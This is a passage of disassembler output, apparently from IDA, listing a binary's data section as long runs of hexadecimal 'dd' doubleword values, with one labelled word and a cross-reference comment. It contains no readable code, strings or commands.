		dd 0C0919EBh, 0A89F2A04h, 688025A6h, 3B5E86D0h,	0A52C1F49h
		dd 942101C2h, 0DC28DE78h, 0A07312A4h, 13851D05h, 684016E7h
		dd 0F75611FFh, 2AEF0CA7h, 0DF507415h, 0F24AFC06h, 2682D89h
		dd 0EB0577FAh, 4405D7Fh, 0D2F87206h, 0E444A300h, 546304E7h
		dd 6F483094h, 0D2DCA7C1h, 0C009C9Eh, 0E7DABCC6h, 16E89A7Fh
		dd 14DB6E5Ah, 3003CBCh,	0D787FC53h, 540FAA24h, 0A05FA084h
		dd 0A544343Eh, 0A7A42790h, 8256B405h, 4478DA92h, 0C7469C1Dh
		dd 0DEB6007Bh, 0E32B3750h, 0B7CF0024h, 3CF65844h, 0C400D4DBh
		dd 0A6886629h, 0D68C9Ah, 35A8BCCFh, 8B3E9D46h, 39846400h
		dd 0F1825267h, 0AA6D0003h, 5DFD4E43h, 0EF0FCE5Ch, 27AE4AE0h
		dd 335F3399h, 3D439100h, 75C14Bh, 25B2EBEAh, 9D7B91F9h
		dd 0DE138F00h, 0C1786AEEh, 248639C3h, 0AB8033BBh, 0E3F4AC6Dh
		dd 89004CA9h, 0FA301542h, 1CD3C8B2h, 44D9E6h, 97F74588h
		dd 24E7913Dh, 0A00F8ECh, 3267EB23h, 481A28h, 872EE715h
		dd 616217A9h, 162CCE03h, 98DC1E49h, 313AD99h, 3DFD6876h
		dd 0E9B0B9A7h, 5477FE5Ch, 7CF22501h, 0FA6210A8h, 7E946080h
		dd 0CA2397B0h, 2D46EE1Fh, 875AEC0Eh, 0EC1A8E96h, 800C118Fh
		dd 12408F0Fh, 0B867741Bh, 2095633Eh, 0BBE08709h, 533C32DCh
		dd 0D7CA0007h, 3D14163h, 0BA2100E3h, 0C434BC6Bh, 70BC868Ch
		dd 6EEE7C03h, 8E700717h, 8DA31DFFh, 6B608051h, 0D22F92CDh
		dd 2D4302ECh, 0A0D01295h, 0B5158CA1h, 1948BC8Dh, 0A198970Fh
		dd 0CF0D1B00h, 879CA03Eh, 0D5FAA999h, 0DA8B2Bh,	0AF665E64h
		dd 20EE69h, 0CA5CC295h,	0FEA2531Ch, 75AA4D00h, 0ACE0A830h
		dd 0DCAE003Eh, 0AD41BFFFh, 0DF00FEEFh, 0AA4C86E7h, 3C3D4F9Bh
		dd 189E3B17h, 8D8B0083h, 0E549B771h, 414EF000h,	5A789ECEh
		dd 0A1630126h, 0D3F2E7EAh, 0C07031FEh, 410031A4h, 565486CFh
		dd 58D21076h, 8B004BC0h, 579B71ACh, 0F00F944Bh,	605BCC78h
		dd 0F72230A2h, 1F7BF6DFh, 40E71FF2h, 205A93F3h,	230067B9h
		dd 0EE4EE48Fh, 6D4396h,	6BB641B5h, 0E7BF7AB4h, 0B0C1E907h
		dd 58908BE1h, 1710D766h, 400C9CB9h, 0E640C3A0h,	1600392Ch
		dd 3484D988h, 0CD73715h, 2A78BB48h, 0E57A9729h,	0C28D3207h
		dd 817B7482h, 420DEBB0h, 77191824h, 468D03FFh, 1E1BD240h
		dd 6F1C90A7h, 15002C48h, 1D66B426h, 3A719787h, 9308AEEh
		dd 5B7EA808h, 67D6AA0Dh
		dd 40D230C6h, 7D9F0B0h,	0FA631180h, 0B620801Ah,	0DE48931Dh
		dd 0E0B3011Dh, 0DFA1B538h, 8BCB1080h, 539AB2A4h, 1997FA01h
		dd 4E8D63A0h, 4DC79080h, 0D1C52CFEh, 4CF5AC2Ch,	21850D09h
		dd 0B3546688h, 2690402Ah, 20646042h, 8501BBE6h,	3747D96Dh
		dd 0A7E8D7C4h, 979C24FDh, 81EC8044h, 0CC5B7B85h, 0A99EA20Eh
		dd 19DCC055h, 2AB615E2h, 48A03633h, 82806410h, 5FA1FA4Ch
		dd 72DE3207h, 3390748Eh, 3B7E9302h, 7F6BC16h, 21DFC986h
		dd 2442509Eh, 0F9600C5Fh, 25301BB1h, 2829002Fh,	0FCE00D10h
		dd 0BF01154Ch, 127D4D63h, 1080DA14h, 0E832998Dh, 40A42A97h
		dd 2D541002h, 0A092A8EEh, 0A1D1C3E0h, 52E7005Dh, 9EED9176h
		dd 0B3000D2Ch, 0B0130397h, 0FEC994D0h, 0A4BA1CBBh, 17D8710Eh
		dd 0E40D11B6h, 1E6A180h, 0FBEA0C40h, 0D284BC00h, 5B0D37F0h
		dd 0C1B7E2B8h, 1540B231h, 0E814C989h, 0DC034906h, 9D6F162Eh
		dd 0FA48002Ah, 0DD58A436h, 0D7000773h, 77BC7172h, 0DFC04Ch
		dd 7AD39653h, 63E55A1Ah, 3C080E64h, 428405C0h, 40C60020h
		dd 48B926FBh, 32073B80h, 0C51E4C46h, 7A21F130h,	2D4D3C4Ah
		dd 3A47570Fh, 0F7D8D0Eh, 1D0056B6h, 5E809FC6h, 0FB003273h
		dd 53E84455h, 4BB522h, 857E39FAh, 50A0214Ch, 0C62D5B1Eh
		dd 0C929FC00h, 311DF155h, 0B808A5C5h, 67BB604Bh, 2CEE4624h
		dd 165F8500h, 5F55AB9h,	0F74A316Ch, 7A64246Dh, 0C283EF04h
		dd 101866EBh, 0D6195F97h, 0AA6E0060h, 0ACE76CDAh, 660CA057h
		dd 39F5222Eh, 56903B55h, 407A1Ch, 1151DC0Dh, 0CB00B4BFh
		dd 16E403F3h, 0A78948h,	4BB12466h, 0E176DA38h, 729B9018h
		dd 0E6E9BA69h, 3891C018h, 0B8C3AD9h, 0EA444501h, 26E084D0h
		dd 0EF8C20BBh, 142859E6h, 0C85CB5F0h, 926E8060h, 0CF75325h
		dd 8F6F8094h, 21C06509h, 0D25AACEh, 8A170048h, 2757CCB1h
		dd 4D00980Eh, 0A4182F9Ch, 60965DE4h, 0BF7A9955h, 0C10326ADh
		dd 0D91A8CB7h, 540830A7h, 0ADB69C21h, 444EFA00h, 35F1AB74h
		dd 81F8CC32h, 0F65421B0h, 5C775694h, 86EDAD00h,	0AC746AB7h
		dd 0CEBD00B5h, 0DCD61B1Dh, 0C4FA36D3h, 0AF0CF505h, 0CC406FCCh
		dd 0BA033183h, 751305EBh, 0CD8FAE1h, 282199A0h,	3D03C907h
		dd 732072BAh, 0A0754017h, 0DFF5D4h, 58DB9AD2h, 3F981244h
		dd 0C1988E60h, 140E4E1Eh, 0C832F295h, 0E411DEh,	3DE93C1Dh
		dd 0A1B8AFh, 2F90DED8h,	870D601Fh, 7AF2801Ah, 11581781h
		dd 0C1FB80FEh, 1D68A0FDh, 0CC6C87B8h, 4A982FE1h, 505A7740h
		dd 8C53C82Eh, 30ADBD04h, 6D62A7C1h, 0ADB49A20h,	8F3C0065h
		dd 2452DBE7h, 960276D7h, 0ECD395E3h, 0EFCCA4EAh, 0D865944Eh
		dd 0A1981B6Fh, 9E5C46E1h, 88CCDF51h, 1F94F084h,	6E3C84Eh
		dd 48FD64E8h, 566C715h,	6CF50188h, 8863D9A4h, 208395F1h
		dd 5F661EC3h, 2A00D07Ch, 91604F41h, 0A34A8AEFh,	159FF8CCh
		dd 0F80C059h, 8E4BE8C6h, 0B71400F9h, 5E196AD9h,	467828A0h
		dd 25AD02B0h, 31BCF7BEh, 0A5DB1009h, 68EC3E25h,	98E28E8Fh
		dd 74A41452h, 8C5BECh, 8862F93Bh, 23068A4Ch, 0D01A5530h
		dd 0A8E622C9h, 484085A8h, 0E401444Dh, 2C64567Bh, 9EF0D17Ah
		dd 4D864221h, 20908A67h, 0CB1F847Bh, 98728CB1h,	8ABC316Ah
		dd 4CAFC1E4h, 99406644h, 0CB97ADBBh, 76876814h,	0B75867B4h
		dd 52BA0048h, 0C2E34AFBh, 60E8120Ch, 2AB918E1h,	0CF81F2Ah
		dd 0E4D50143h, 150F53A1h, 89106406h, 0D44207Bh,	0A8F81C6h
		dd 0FEEAD557h, 0E14500DCh, 2711C459h, 0FB82F02h, 4CA90CF2h
		dd 903FA84h, 76C3EBBCh,	3A00DC16h, 902B033Fh, 0FC18CB84h
		dd 0C70DE6Eh, 21E14681h, 0F699EC61h, 4EF4B57Ah,	0A1670926h
		dd 0DC0F6CF3h, 0CB384320h, 9B716A34h, 0B4E18360h, 3A92E40h
		dd 0BC4215BDh, 79009CCCh, 69B8F849h, 5901Fh, 0A69F83A8h
		dd 35FE8861h, 29257702h, 4040D0DEh, 998FE7C8h, 180AD1B4h
		dd 6E40CF3Fh, 9340D91Ah, 35009027h, 206DB954h, 965B086h
		dd 0AD30FB9Fh, 6047C000h, 48C10F32h, 0EEFFF0E2h, 0E9AAD083h
		dd 61150811h, 0E906897h, 60F2EFE1h, 1DD6D1F5h, 9B840103h
		dd 0B9C4806Ah, 9CC1A9CCh, 0F1808D1h, 0E818DDECh, 5F191911h
		dd 6FA0240Dh, 96E1200h,	80047E6Ch, 4D44603Dh, 437374AEh
		dd 0FD227Ah, 0B54D5DA6h, 0C5F81C26h, 3E6EA18h, 60D90161h
		dd 168C2981h, 0C986404h, 0B6A8FE01h, 0EBC30140h, 0BCB5219Ch
		dd 58BE8909h, 0C2308C58h, 429D4902h, 0BA710106h, 19A76BB5h
		dd 2603204Fh, 38B4AA32h, 66FCC4C2h, 18895845h, 0E9B92E03h
		dd 1BAC3E4Ah, 60922408h, 70740824h, 87C463Eh, 0CBEBBF03h
		dd 2D4092C4h, 7936033Ch, 0FDAE6B00h, 0BCDF8007h, 0A158F452h
		dd 45183C9Ch, 739B4D08h, 0C8A7715Ch, 0C5EC4C4Dh, 0E8FC4204h
		dd 97467DEFh, 6600D147h, 0F39F827Eh, 0E728FE0h,	54CF8803h
		dd 4EAD960h, 3498A156h,	8E664718h, 0C074C2A9h, 36C5F549h
		dd 39078A7Fh, 0DDABEF2Ch, 20819824h, 900CC943h,	0F7412504h
		dd 673281C4h, 25A8D820h, 1FA101F3h, 995BEF1Ch, 0F214224Eh
		dd 93B833F1h, 6848859Eh, 61973D04h, 3B0231E9h, 0ED6A6E4h
		dd 1181DFFDh, 78A2F40Eh, 0B0A434F8h, 4D52603Fh,	54732994h
		dd 53A44038h, 0BC50B04Dh, 48CA5F4h, 0EBB80333h,	20966223h
		dd 3003CB26h, 0B82E5600h, 69868D1Dh, 4A8B16Dh, 4B58F490h
		dd 804483B9h, 220AE45Bh, 23920040h, 5157C6A5h, 1FB29600h
		dd 7F056AF6h, 94200722h, 19FAC3CFh, 6E97E881h, 0CB2FD48Fh
		dd 2AF85504h, 0F098B75Ah, 45250894h, 66C4A4F7h,	25ACCC40h
		dd 0A7000210h, 0D5AB1E4Eh, 6197FFC1h, 3660A952h, 0A628C072h
		dd 79845E00h, 7EA8B08Ch, 919207F1h, 7418DFB5h, 0F8D88DC1h
		dd 18166B4h, 176C0C50h,	8F504018h, 0E7CC7Ch, 2E0193E5h
		dd 89A4E2DFh, 499EDEAh,	2C2048DCh, 113E5F40h, 0C686547h
		dd 0B1429890h, 0E84B0ABAh, 11FC761Bh, 4DBE80CBh, 43F47390h
		dd 0F92278h, 0A4D5FA0h,	0FF9C4076h, 26BA1F01h, 0DB17D038h
		dd 30908DECh, 0B169438Ch, 7C60C374h, 85D5D9A9h,	0B366240Bh
		dd 5FF40F97h, 9AA70E00h, 2501B931h, 0A6BB44AAh,	5833B4B8h
		dd 51539618h, 7200E779h, 0FC6E1FDBh, 0A63B8Ah, 5B407D95h
		dd 0BE87B6C6h, 0EA2F4301h, 42ECE772h, 6E838442h, 2C84624h
		dd 73974D41h, 5C7894FCh, 5F0040B3h, 7CC75D93h, 0CD0404B1h
		dd 15EADA1Dh, 65C8248Bh, 5E684AC0h, 0FF40FF9h, 0EB820DD8h
		dd 7040855Ch, 6240D3B1h, 2A9800E5h, 8E4951FFh, 162C67B2h
		dd 465EAC15h, 536C0308h, 827E9384h, 5788806Dh, 0B081600Dh
		dd 0E6EC124Ch, 21385680h, 5065975Ch, 51567FB8h,	36F89F60h
		dd 0C16187h, 0CBEE3DC4h, 0FD0C8837h, 7781A206h,	2C508DB4h
		dd 408017EAh, 68380557h, 14300881h, 30248CA8h, 2B124403h
		dd 2900FC8Bh, 236B03C8h, 9A00D102h, 648FBC27h, 240F38B0h
		dd 71905A92h, 6C3A15F5h, 0FA03F123h, 0D4380F72h, 0B6AAA090h
		dd 83C6050h, 0BC945F91h, 63024780h, 26457960h, 8D90D1C7h
		dd 249C545Eh, 94A4C518h, 880CCE2Ch, 0BC75C065h,	0C09AFE7h
		dd 88939FA6h, 59023490h, 0E15DC710h, 0C0251498h, 0B0385033h
		dd 61976A00h, 996923B7h, 5144A801h, 90F3093Ch, 0C0BD6B20h
		dd 6C73B9A0h, 0E425A47Ah, 4BA81859h, 0C13211AAh, 0A4688857h
		dd 0FCAA0029h, 838B9C94h, 0C0C35Dh, 344566DDh, 0B9F5F282h
		dd 18847904h, 0C6C70772h
		dd 30333E14h, 59B693A9h, 91CC7E50h, 0E8A4285Ch,	0A5018CFCh
		dd 0CD341AF5h, 96D47944h, 0F78F0E80h, 2B222EFh,	380E8C54h
		dd 6AD51C68h, 0C8A0694Ch, 5E0C1F7h, 3840F259h, 0E1306747h
		dd 96432877h, 0BC488865h, 8E141A1Ch, 0D7507941h, 0BDF83C3Dh
		dd 78CF0068h, 2EC7181Bh, 9D60CCBAh, 0B288DA69h,	7F4000ACh
		dd 0D4D1CD4Ah, 0AD006797h, 1A0D31A4h, 94BB927h,	8AACD014h
		dd 10F450C1h, 0F5349E7h, 894BE647h, 40DC88A7h, 95117193h
		dd 0AE806702h, 6CB65A16h, 259B0424h, 62ACF744h,	93CD2067h
		dd 9A3E1825h, 0EDD086A3h, 3F718224h, 0A0009160h, 0C3ACF313h
		dd 7A648C5Fh, 94817E39h, 90010F9Ah, 45C2283h, 768F1789h
		dd 0E4941304h, 6970CAA0h, 71777300h, 6208D5BAh,	0AADE0BF3h
		dd 781917E9h, 6C7309D8h, 0E4AAFE0Eh, 0BA606092h, 0C1272FADh
		dd 8165Fh, 0EAAD519Fh, 8B218C4h, 1C8F4380h, 0CB6CA448h
		dd 5C90CC5Eh, 1D3B5305h, 738180B0h, 0C5E98851h,	0ADDF3BF3h
		dd 4E912880h, 0F55B58FBh, 148BA0A0h, 737910B1h,	0E601FB18h
		dd 86285F3Ah, 813E3E60h, 384B76C4h, 0B533D30h, 0B28E44ACh
		dd 6CC4EA94h, 4408C49Ch, 0F7CCA440h, 0C281540Ch, 1E0A7177h
		dd 0C18A8716h, 6994531h, 4EDC27C0h, 8423D42Bh, 24535B00h
		dd 952E96B0h, 21931886h, 0EB07A175h, 9152778Fh,	17005D47h
		dd 25F7AEFFh, 0B812DACFh, 60B4444Bh, 2331ADB8h,	52114FC1h
		dd 0ADB79501h, 0F8370738h, 0BB0CE945h, 214B975Ah, 44D10024h
		dd 0F060DEB5h, 0EA0413D3h, 66472E4Ah, 9853E4C8h, 0C1948284h
		dd 820C6E9Ch, 1511248Ch, 0B465EA0h, 0D4C8A43Ah,	0A0F590C0h
		dd 1900DC9Bh, 43D953EAh, 0B8CFAF54h, 57AB0030h,	0D4CB38B5h
		dd 13279817h, 6FD40187h, 0D865A19Fh, 30523042h,	402C2597h
		dd 30298CF7h, 0D9007291h, 7D7125AFh, 4702E161h,	0C5770335h
		dd 81949094h, 64AA008Eh, 8DD97CE7h, 50DC0FA7h, 29185DF8h
		dd 0D018CCCh, 26200382h, 58E9DE70h, 3098FCE3h, 648037C8h
		dd 627B30E4h, 0E8EA6A61h, 65C9649h, 3A46D577h, 91B51D28h
		dd 0BA54E2F6h, 0CA024A34h, 4C88E335h, 0A55C5194h, 6701A4B5h
		dd 1DFBD3E7h, 4502C839h, 0F630D0E8h, 6BB8B080h,	3C1F90A3h
		dd 0DFCC1144h, 4541F3h,	1CB82451h, 0B4B9CF64h, 0BA490CB8h
		dd 60978AB8h, 69881500h, 4028DDh, 47F59DA5h, 0CEC24B4Ch
		dd 0D3304D64h, 3C1828E4h, 0FE872264h, 0C19FFD0Fh, 60AEA52Fh
		dd 48B8EACCh, 2460B820h, 0E4D0C792h, 32660AAh, 4EB5CBDh
		dd 8522D053h, 33E2300h,	0EFC28B2Fh, 69110C2Eh, 934834B7h
		dd 325058Ch, 8E33EBBEh,	3D2C12D0h, 13991C00h, 573918Ah
		dd 6FE3ECD1h, 2E40C4DAh, 84234Ch, 92116CA7h, 9F3A74CCh
		dd 0F90527Dh, 0E3F91C5Eh, 0E87226D1h, 76373669h, 0E38912Eh
		dd 0A3800759h, 7B0D935Ch, 0E85F8B2Ah, 11D99000h, 66AD31EEh
		dd 7A77278Dh, 0F6E57800h, 2400F30Ah, 6D19E80Eh,	7EB71828h
		dd 0DCE32CD2h, 61561818h, 0FB26CF7Eh, 378BEC53h, 6070B03Eh
		dd 554FBFh, 0C16CEF14h,	7C60DFF5h, 14A06169h, 699F0055h
		dd 3A519D2Bh, 5600E74Eh, 0DE6B315Fh, 385925Ch, 13F55233h
		dd 1BD8A396h, 4F003A09h, 951528CBh, 0E0B9C3CAh,	743B01B8h
		dd 0FC3D2939h, 3A97E075h, 15C3E48h, 0EAA6347Dh,	96E428D0h
		dd 13F4ABh, 0B249FFAAh,	0DDBC7836h, 58002579h, 4C155369h
		dd 0D09D9Bh, 0EA4B6A2Bh, 0E9DA5559h, 8E5E9027h,	3AD92820h
		dd 0C0974EA7h, 0C480FF11h, 0B9751FACh, 2459A326h, 0EA169090h
		dd 0ED948814h, 0B986DA20h, 18F079DCh, 91AB13D7h, 0A0ECD598h
		dd 0F53EA4E4h, 948C2C21h, 84E76D62h, 0A8B61470h, 0D7C436B0h
		dd 506BD224h
		db 80h,	11h
word_505446	dw 1960h		; DATA XREF: ___:off_435740o
		dd 1CEC0D92h, 8247448Bh, 7775D7B2h, 9099A420h, 4A37F18h
		dd 292DAF51h, 0F28CA2C5h, 7A183085h, 0FCE43D01h, 0D3B8AA9Dh
		dd 590E9432h, 0AB439366h, 0E6C1B96Ch, 61464A0h,	0E053775Ah
		dd 0F8C8F48Bh, 43E195C0h, 130900A1h, 0B6C787B1h, 0D85FD0EBh
		dd 72E89000h, 0C7407017h, 81FD3870h, 8E7A04E7h,	0E1394F10h
		dd 893B98E2h, 60433082h, 68E16D6Bh, 0B80C38F5h,	9098C98h
		dd 988684BFh, 0FE58A4h,	662B48D0h, 0EA5776CCh, 18DC5513h
		dd 9C89C8Bh, 3B0824C0h,	7F723036h, 30E90119h, 70AEB858h
		dd 0A2A7E700h, 9C7F8D80h, 703F48D4h, 2194F011h,	0EF083EEBh
		dd 8029976h, 0D014D34Bh, 28D94A68h, 0C2883D98h,	0AF19C075h
		dd 6D0C452Ch, 941E93F4h, 7C1EC918h, 4144AAC0h, 1656A1D1h
		dd 20B925D4h, 8F574590h, 0D941D01h, 414AA17Fh, 628FEC38h
		dd 0FFD87E80h, 0EA07EEFAh, 5DD78C2Bh, 6D4A00E9h, 61F1E04h
		dd 5E8DBE45h, 124E586Eh, 4DF5300Bh, 93D060F8h, 80B92BFEh
		dd 35A28701h, 4ED49625h, 970300F1h, 7DD54A77h, 6F3C94FEh
		dd 0B1C0F850h, 3F553835h, 58C50183h, 13E92422h,	0E2807615h
		dd 0A83743A6h, 53E08E2h, 0EFF5B257h, 45DC408Eh,	0FFBFF330h
		dd 767C8195h, 5A027437h, 3E9124D3h, 824D5B85h, 0A4472C87h
		dd 4D50A500h, 0EC8CD2h,	17F436C8h, 0EBAA298Ah, 88F79810h
		dd 906C470Ah, 0D090AD9Ch, 0B400803Ah, 56E7D23h,	2427894h
		dd 0AABF6198h, 94515CE4h, 33ADBE83h, 5162F4C1h,	0ADB58320h
		dd 0C85700F8h, 0E6CD6D12h, 765E7A2Fh, 0F123B02Fh, 16943D01h
		dd 38794074h, 176D8880h, 0FA01BF3Bh, 9FDD53C5h,	0C842F4EEh
		dd 79847987h, 7051873h,	0BF19283h, 3D6E806Ah, 0D0B92BB5h
		dd 0B785E600h, 0A5FA493h, 9B92D858h, 0A8E503E8h, 86DD6099h
		dd 0E4B51F0h, 1AE24C8Dh, 87C45CC5h, 8316E660h, 98113Fh
		dd 123CD021h, 0A892F3F0h, 849D73E8h, 0E1EC0145h, 0CB2A00B7h
		dd 0F055F3FDh, 9C1356F9h, 388817B8h, 9310082h, 0F70D3C5Eh
		dd 2700AAE1h, 25C25F6h,	9B9F82Bh, 4A229397h, 0A795851h
		dd 0C7208519h, 940A3CFEh, 0A4128427h, 77286Eh, 8D4223B2h
		dd 3CE76CD5h, 7C24A0B4h, 6B34A60Bh, 0F7D9234h, 0F228E232h
		dd 4F303065h, 0B2F7DC0Bh, 11641D54h, 20608EF9h,	1CB21910h
		dd 6E2A1EDCh, 2C9627EAh, 0CDB69416h, 7A970482h,	0EDE1005Ch
		dd 0DF4FFC4Eh, 0AB4F4C6Fh, 5223382Eh, 27E3600h,	26BADB82h
		dd 6074C16Dh, 7642EAAAh, 0D1F8F772h, 0C37B5F12h, 606F5C21h
		dd 9506BD4h, 15174B9Bh,	8658545Bh, 7C135326h, 180F6C81h
		dd 0D5770064h, 3E335BD2h, 39223E0h, 4FEFC6A4h, 0BA2751D6h
		dd 760C1130h, 59412618h, 9A21023h, 12E9CE30h, 23C35392h
		dd 9CA0E174h, 4400BC5Fh, 9B1E3FA7h, 48B8B9h, 256A96BBh
		dd 80EBA392h, 24CAF5Dh,	0F38A44BAh, 7C5EF7h, 0DCE323B8h
		dd 72036BBCh, 222956E6h, 91AE712Fh, 341027E8h, 0B9006709h
		dd 2A1A9D22h, 4BBE7E9h,	51AC3E40h, 85C0AC53h, 208B4DEAh
		dd 0CEC0FDC8h, 1610DB9Ch, 3F17DCCCh, 9F23C8h, 0B8FF7708h
		dd 0D03B9116h, 4EE0B81Ah, 0F8216C4Eh, 38976079h, 911378A3h
		dd 6560C85Fh, 0F1400B1Fh, 7066A640h, 72FA9FEh, 944CDBC6h
		dd 26421262h, 0FF917497h, 85C1ED80h, 33586ED0h,	0CFDF3AE8h
		dd 0E7684000h, 3EAC8432h, 83320166h, 7080CC39h,	6C2646FBh
		dd 10364000h, 0B8644181h, 19850167h, 75650425h,	4EE07C6Fh
		dd 7EC008DAh, 630C6E8h,	0D9B7D80Fh, 0DA4E4175h,	0F0791563h
		dd 0F257C0ADh, 0AE5E1B0Eh, 3840C0CAh, 5D22DD9h,	0B37EDE4Fh
		dd 4E40CC55h, 5437112Eh, 0E430500Eh, 68B85144h,	5A3CFC9Ch
		dd 70908F80h, 22EDC795h, 72DAFE17h, 589BF084h, 32DDD780h
		dd 0C40C4C6Ch, 901BA768h, 8F91274Fh, 0ACF9844Ah, 3618FD79h
		dd 6B1E5B71h, 40D38C2Dh, 25F5FCE0h, 90978154h, 588E9991h
		dd 60C4D600h, 0A8C47E23h, 48AC9890h, 0DD044489h, 1FB8EC4Ch
		dd 403A684Bh, 0C13A185Ah, 43E5A186h, 8B773800h,	9EDD7547h
		dd 8C009F66h, 0D6EFF541h, 6F0370B4h, 0F9DD2C78h, 0F9C68018h
		dd 1887D178h, 985158EAh, 4587777h, 98E285D6h, 0CFCE7h
		dd 2E604BC1h, 14A119B8h, 54F121CEh, 0A488E400h,	60F69E23h
		dd 14FED801h, 0C4AAD69Dh, 0C3E021D9h, 0C8441710h, 0FB48009h
		dd 6A61C2DDh, 97C56EC0h, 0AD009039h, 0C7FC6F6Bh, 0D20066B3h
		dd 7C3D4331h, 4FF21EC3h, 514C910Dh, 67F4606Eh, 0DC305881h
		dd 8B982714h, 508EA463h, 0FEEF910Ch, 445687Ah, 57E2E85Eh
		dd 210A828h, 0F28114B5h, 46C4053h, 58343DF6h, 0AF886186h
		dd 0C3094894h, 1D2F8F27h, 8065115Ch, 0B76C17D5h, 485D5D31h
		dd 98DED708h, 0FB05681Fh, 0F082ADCEh, 3E112064h, 8B00403Ah
		dd 0BFC83FC0h, 7DF8CCC3h, 20770395h, 0D11CAD87h, 0C2861EF9h
		dd 0E804207Ch, 0DA00EF68h, 0D6016099h, 0D0614B28h, 465E54B4h
		dd 521B00F8h, 0F98FB27Fh, 88802F6h, 0B8EB82EFh,	804522Fh
		dd 54B0C783h, 5B101143h, 70970C6Dh, 0B9AB50DAh,	186679E8h
		dd 44B00195h, 1CBC4813h, 8834257Bh, 3EE88E8h, 738F7EC1h
		dd 16B57017h, 678874CBh, 0EFC859C0h, 2F563B89h,	19076009h
		dd 5D9BD822h, 0D16BBA20h, 7488036Fh, 0DCCB384Dh, 0C8F146A2h
		dd 0AFB8E900h, 27E6C1A3h, 8CE17CA4h, 0E224735Ah, 1D11300Bh
		dd 0EF7F8C0Ch, 0A729002h, 0EBE9AC2Fh, 0C1260B2Ch, 0C97C6784h
		dd 51C402CCh, 9F6C2C40h, 0D0C1D54Fh, 54282391h,	8CFEBCh
		dd 20346645h, 2A9ED086h, 0E6E9B908h, 0AF5800Dh,	9BF38844h
		dd 0CB008095h, 0B8028CB9h, 0BE7A4404h, 72278F16h, 0ED6E1842h
		dd 60B0EA47h, 44FC20A8h, 0F892F534h, 2354D5F8h,	3D05B8F8h
		dd 0F4DC164Eh, 85C830CBh, 119A0FE0h, 0F6E4243Fh, 55AB0850h
		dd 97142F3Bh, 807311A0h, 0AF3AD6F9h, 92771CC5h,	4CF78C38h
		dd 0EC4149C0h, 80B45891h, 0F7422591h, 5888949Ch, 2504A9CFh
		dd 0D38C1773h, 0DED4B4h, 7101C319h, 67E4F463h, 8BE67800h
		dd 2C38D72Dh, 0A8FF2575h, 0BA040CE7h, 8BC434Bh,	218A6888h
		dd 1980F0EEh, 0AE0BCB33h, 2C47B40h, 9A82E2B3h, 0A4DC50BCh
		dd 942B4440h, 9F56B842h, 4C0014B7h, 60CB9320h, 3F67414Fh
		dd 292E808h, 0E39D9B6h,	0BEC0944Fh, 2016C15Fh, 4F18573Fh
		dd 5AC17FF7h, 981109D9h, 0F8897685h, 6EE42C65h,	0C48D1061h
		dd 5E7069B9h, 47539609h, 4330697Bh, 4056E830h, 4109B5ABh
		dd 0F269472Fh, 9B620C24h, 21F08673h, 1699EA69h,	3A6AFCACh
		dd 15108CD6h, 27C44CC1h, 336840AAh, 525424E6h, 61A83FE8h
		dd 92CB29Eh, 0BB73174Bh, 0BC503909h, 7441E494h,	6AD4CE18h
		dd 0F05C02F1h, 5F93DF7Eh, 0EB4024DCh, 0BDA147h,	7688E704h
		dd 92249859h, 44AE924h,	7B42406Eh, 2EBF557Dh, 1D8C8F58h
		dd 0B73444BAh, 0B8D0ACF2h, 32048C96h, 0DADFF4D2h, 0FEE4CCE0h
		dd 91474088h, 92300F19h, 0E047DD18h, 4E005DE4h,	2407EADAh
		dd 98C5684Ah, 3BE0D4B6h, 8243902Fh, 919EED0Bh, 1CF614D0h
		dd 222C0305h, 90806DB9h, 99C8B05Eh, 0D93301BCh,	71FCDACEh
		dd 0DF3860B4h, 0D7C8408Ah, 0BCE58374h, 0B70ADF5Ch, 23080C68h
		dd 789742F8h, 6B99A900h, 0C25A80FDh, 3457E60Bh,	2CF071ADh
		dd 1D940950h, 306CA484h, 924F333h, 0DEEFF5ACh, 9ED91820h
		dd 9004AF10h, 0B6E5579Dh, 412F70ACh, 0A4EA5844h, 8054B597h
		dd 6727D610h, 0DE33DD57h
		dd 0DFEA5882h, 0F010AD98h, 61003849h, 0A59E2CAh, 2C4C4Dh
		dd 0CD9BBCE1h, 4927D902h, 912BE8F9h, 93D82200h,	7A3C29AFh
		dd 35590385h, 6E838496h, 9DC31111h, 4303C989h, 11065C3Dh
		dd 2CA89626h, 1834BD41h, 24422920h, 4B84DC01h, 9CB09466h
		dd 451980EFh, 0D3B6F541h, 1F41C091h, 0D2DCE28h,	16013300h
		dd 2FA21766h, 3402BD32h, 0E8D1FEBDh, 3C44CCA7h,	6981A66Dh
		dd 0D87ED332h, 4429A5FAh, 0B56E0034h, 3DB11579h, 75075D80h
		dd 0A3A0069Dh, 0C7DC6823h, 54A90Ch, 0AAE16544h,	2A69F0AFh
		dd 0FFEF8201h, 0A32BBF58h, 447867C2h, 973F605Bh, 16597801h
		dd 93C43F3h, 3C2C30D4h,	0C88B7680h, 9EE171h, 492DA257h
		dd 7BED1E4Fh, 0A54D9A03h, 4E089B91h, 0C8E88B59h, 0AF7DC051h
		dd 7614B6FEh, 83C0D2D9h, 0D0BF7703h, 7AF519h, 0A1568609h
		dd 5C978EEEh, 0FDF238A0h, 5B07E6B8h, 4C7AB417h,	1EC7B3E0h
		dd 0D040FB14h, 6947947Bh, 0CB730E7h, 69D4EB80h,	9EA0292h
		dd 0B906C7E0h, 0F2001879h, 3C046E4h, 0FB2B2A9Fh, 0A89500F4h
		dd 32DAD6D7h, 0EF00CE5Eh, 3350052Dh, 30472E62h,	0A0416761h
		dd 0E416DA1Dh, 0DC322CE1h, 0AE9240CEh, 18C201DCh, 13B928Eh
		dd 0D091E1C3h, 8C9A5CD5h, 0D01611F0h, 7C1075E6h, 8C52E8C0h
		dd 0B677B000h, 0D8B9EA13h, 5F5765Bh, 240643BDh,	0B2D0D555h
		dd 30F8F2D8h, 5CEA19E0h, 71C44F01h, 0C28B3C18h,	0A48C436Eh
		dd 0A2E0DA9Bh, 330032CCh, 0E41D2A18h, 140F3E60h, 0B4272017h
		dd 0E01C3AC0h, 34507C08h, 46806D84h, 0F110B161h, 1C611883h
		dd 0C10693B4h, 0D2F39F6Fh, 90086BB3h, 0E6EA86F6h, 0B899B17Eh
		dd 5E773E80h, 2AAC4C5h,	44B2932Eh, 6C70A5C8h, 686A0612h
		dd 0B6C220B4h, 58C78010h, 0CD01982h, 3987F6A0h,	89D9BA1Dh
		dd 0BF65247h, 92ED5C10h, 3178CD6Ah, 0BCB86C39h,	48008C67h
		dd 33F6E821h, 0BD6169BDh, 4743B020h, 5C137D7Ch,	0ACE42113h
		dd 0CD043E39h, 6AA1EA04h, 24F8F892h, 47862CF6h,	9C416964h
